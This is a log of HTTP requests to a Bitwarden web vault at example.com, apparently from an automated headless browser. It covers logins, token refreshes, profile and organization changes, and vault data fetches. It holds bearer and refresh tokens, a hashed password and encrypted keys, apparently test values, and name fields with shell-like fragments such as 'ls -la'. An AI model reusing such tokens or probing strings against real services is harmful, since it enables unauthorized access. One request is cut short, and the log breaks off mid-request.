{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5585f140-74a8-4342-bcb9-66c0e36daa84&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e44207b9-d839-4088-9325-1f8b184f578a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 41", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\"Alice ls -la\"}"}
|
||||
{"method": "POST", "target": "/api/organizations", "headers": ["Host: example.com", "Content-Length: 3201", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess team\",\"businessName\":\"\",\"billingEmail\":\"billing@example.com\",\"additionalSeats\":0,\"maxAutoscaleSeats\":0,\"additionalStorageGb\":0,\"premiumAccessAddon\":false,\"taxIdNumber\":\"\",\"billingAddressLine1\":\"\",\"billingAddressLine2\":\"\",\"billingAddressCity\":\"\",\"billingAddressState\":\"\",\"billingAddressPostalCode\":\"\",\"billingAddressCountry\":\"\",\"useSecretsManager\":false,\"additionalSmSeats\":0,\"additionalServiceAccounts\":0,\"isFromSecretsManagerTrial\":false,\"key\":\"4.WiaDWzBtYEGmiO4qG6dAi2uybE/1GPnlvKP7fnaRGZ3OkBV5nOyCGCicd+Vi65nKIDuOo3zugIZVXin7/PCfaOPtsJ61WZIago9uhS5gQ1/VTyfzS9DLK1rRhSMAs04Vn5iEp8Kg0H/yEI/ysgLVc59MSCRkyFnygeo9G4Kmk38ezUrPUoxLIET/cu36Ok/iWNu1gvv8QV33Z/5FbTNvOhsKxk5rONKbNcQ2g02wNb0jsfZs3B6d3SkF8+OQYgD3ZkZpQgLNqu1q2ekkvrV+MWYBY5N3FPv/wC27xdJ1JwLc2YN+Nb4iaKp9IEUvKFcrDgAWpwx2g4vqnvZvW6SKLg==\",\"keys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqR0hC2iYM571ZOUF35kjHF5Zdjv8Bwy/lxuvFKIWsroMDmKgvM1Zt3l2r0l95m6nlvavFysgQH4PxCgJDjFUeJHpcmS5PyGIZzRNklJZxZLSMQ6pIooDJDsZqXlyn3ymdCldPYAdCG2bDhGXbIdESP21MZr2rpLW5iyMFABErHz1sKBACQNs19pQKLKUqRu2fSf3vaS8NFCNu4t8NO8LAnYeIxes/TfBpvme55r1r0v7qLDYNSTo9nM+nzhOGTCHKaIe7Ml6eHHR/EZw2Fe7KFTAbDSeICZGDmcljB4Y3bNfBikIEKaXNl5CXPJH90fyRjjJF3UhXVRjD+cCkcFKCwIDAQAB\",\"encryptedPrivateKey\":\"2.rcwVLVJP5XmHqB4kwDRQEA==|MtlJJSTQn95c40N7kj1+QzX/FE72Me4GHMOpYwUD1nY8o0+QOTFBmFZaOlP28amA8GNrc2Qrco8JmZ/HpiYccP3abaljQ5vOakk1Bdj47q+h5/HdqOCBEV6j1dKPO6zZKqHkEJfSXo8amTWGuQ8ifG0+JlkNYtq5IiBE8+0hcrz30PwQo20JA75R2MFKDuohpokOBIB7wHVIeSMjb0MjZ0QXKw3KyKG5qYyn0ZrQA4D9WfPvIfHj+oo3PQwgwjY5aRVBCkcYj2cDYpSifpA0xJYnTbaQ0xwmn4P0HadkgbtL4azxu/J15ff5NTgcG0gzwpp5x7t87+R2a8hAzfBB1dyOyReqa0HpfFJUd7DViy/0vQl6KcPvMEoTCh8f1BAjWaNSwSnI4Oq01IwIwCtlqAU+yzJniri/eZYvD26THbBG8DPMrgWl+I9mv151s3RZWNSwhP0K9DE3dihNFupV7KoXT1ajbFj9Q46KhnDHA2cTFQXmhU0GUYtbfCXy2NoDq4YHVeSz56ADJFJjyM6XNIz3hbVeXjQrMhTOgsXhKMNHlRti4LP+a9+W5SPLCubJq2emE/CEMWqC8PviH0drSSYv8X6hgKEBRFluWV9SmzxCflbBpCWRsbT5gfsjTHgn0Hmo0QHd4hHysCawN1GRoXadqYgc4xm3LHHPkw6shzQBVFBn66t1M2hzkDVXljBuid8TxF0pB1Dyp+bnX49vv8pJthdWCRjVABe/EyOF7b4Q2Itt9vO6fSl2KacsJHegN8CStyu17Ta9qKRZbOJAR7CLaOeHuAAEaxw8FGlAIbhCCYsSr9QpsJkZUpaqKBNkkXSplIR/6mQc0yGC1LEIJuCaPsU5DEIceyra2FcVxR9a7vtYt8gIhQxN04W/TP/zLHzRWweOpf8mJMG+2+vbjPmE9taOAlIvN6uA9eCBi9lwhOoGNo+0G+etKOcd3CqfYHduCev0MH9u4esx7RmzZhCs1lmksLrXyLSDrANqVAQmIvfOSN7DQdNPL09pSAaplERIBKuhO9a8j9xFZw0suvsjfNxwhyieZ2y0/fhS2gafmB761xw4wzCnuO7yj2nbkQtJd/P0HUptqcSpXEvd9UnJ3sfFHAu2ba9Lr9q0XTzzgsnmoUQgAgkrATOol5oZKX6u33HhTIUVHHs0V8gazT1COmblM2b8kar0Hv8N8jt9iZxBv9E/P0MlUq0ubY50EZ0eXmXvQbuvsfj7/wACUi8PAb3rOtxvx7YiWdpYDkiE67ZgSuKzuFR6T3CusWks9PYCahpHK/6IzjlxD9LfatcUwzo/u2dFJ2c/j/p7k1Q9YHW2UlOPj9TiBVxZeq8D10rFnaCrUs3Qmx9fq1QxKk8pejxP8OVW4ajZ5UQJwdHLqO0UfHZ29N7QEXgNovajqlDwIhO4FEa3UW29vCRN9z9pykRh1b8NnfP+Mv5rpHC9J7pUQ08myjIc+8Lt90KBwnd4oLma6SFfZAX0wYNQHGiXCG8MHD0Qnh/UARJ3ReZnVAXxnuumQbZEYA+ByWjFR7GzTYn1OvcNx+Vo4rKXBk4uj3lTxsFAmhTFwGpBbXYX0/8M7ADTM639coIhR3L1mqXT8saBRYU/tq/rPreZLvilJciF00vQXZWUDLZujK4=|sLOYshW+CIQctHp7sTiL/hojcWMgoOg97a4CPewOhdI=\"},\"collectionName\":\"2.KEZRLg9IaGzmiSG1GOV7Ag==|/kueCAS2suT20oQ3Aj1o/Z+G6ak/0xDcAXMN/JI+s2U=|5yvg76dyL9BfzROgnRsZP5PoUEB55HtfJFR/9J2X9AI=\",\"paymentToken\":\"\",\"initiationPath\":\"New organizLine truncated
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5Njg3MzU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.DWMQ-E5aTL8ztjaL2bCYPEqdUICGOG7mlXIEDFDXMIxDA3UeaB5oGLCoBGgkC7AMok-vjzuggt6DYD5wU8LTxJFuEQ8fAQaYzfVE3ZFwX0_zgIi__L3VZoWd0z8zmhz6yYm4yr8kUh4kqCoLUbtWI4M1BS8eYNk8WdvxN2_7DkaJDy8LRoY61AtvnsY2JCT2IEyFDt7FvgbD2RtYWp7Dgv5OqpFVRN3pjST_4cQmViIqEh_mtWGlnhHzGKjNktXqxCIeIKs4CdIu0L4Vai3O7dT3kBaksQOtIVPjsXhe8LK-GvX-ZZ2AjilqHmJmXz3Lg6hCzQ4qSvcqM5CxsTNdQw"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5Njg3MzU4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.dQiSrnpSFAnETzr8grySj54sGq0Xq1GItIEiYvfnwFY9VV3Qtp2lO5tSPguJ8AltKrHsWFmytWYCSWpiGZ6bWj9zO4ECiYbpszf3kAUPED3q6b3VDoxrEfTo89bvlPlmFtm6dDvsrOmP4pwrzJDHN43s78utwjqZ6IVcTrMw_zoywpRrdp8_1eNEyiFu-qef2ERoPVodqar6aBMpqukhT131orQurM6-0qP03SG42bIBytvhQlPnlftY7eHkX_zWAciEcnqx5ZAEz43rx5QFOMPQQRlFoIrBUoAy3O_PKxX99-WpUzCmef1MRV-yjkxPfMhkBeFOOwj8CEHlGvMqFA"}
|
||||
{"method": "GET", "target": "/397.140f77b7f5a3e6236b43.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/ciphers/organization-details?organizationId=eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=2b161375-7f4f-461c-945a-2f2e89155df9&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/501.424a4093223bb151e00e.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeCollections=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer 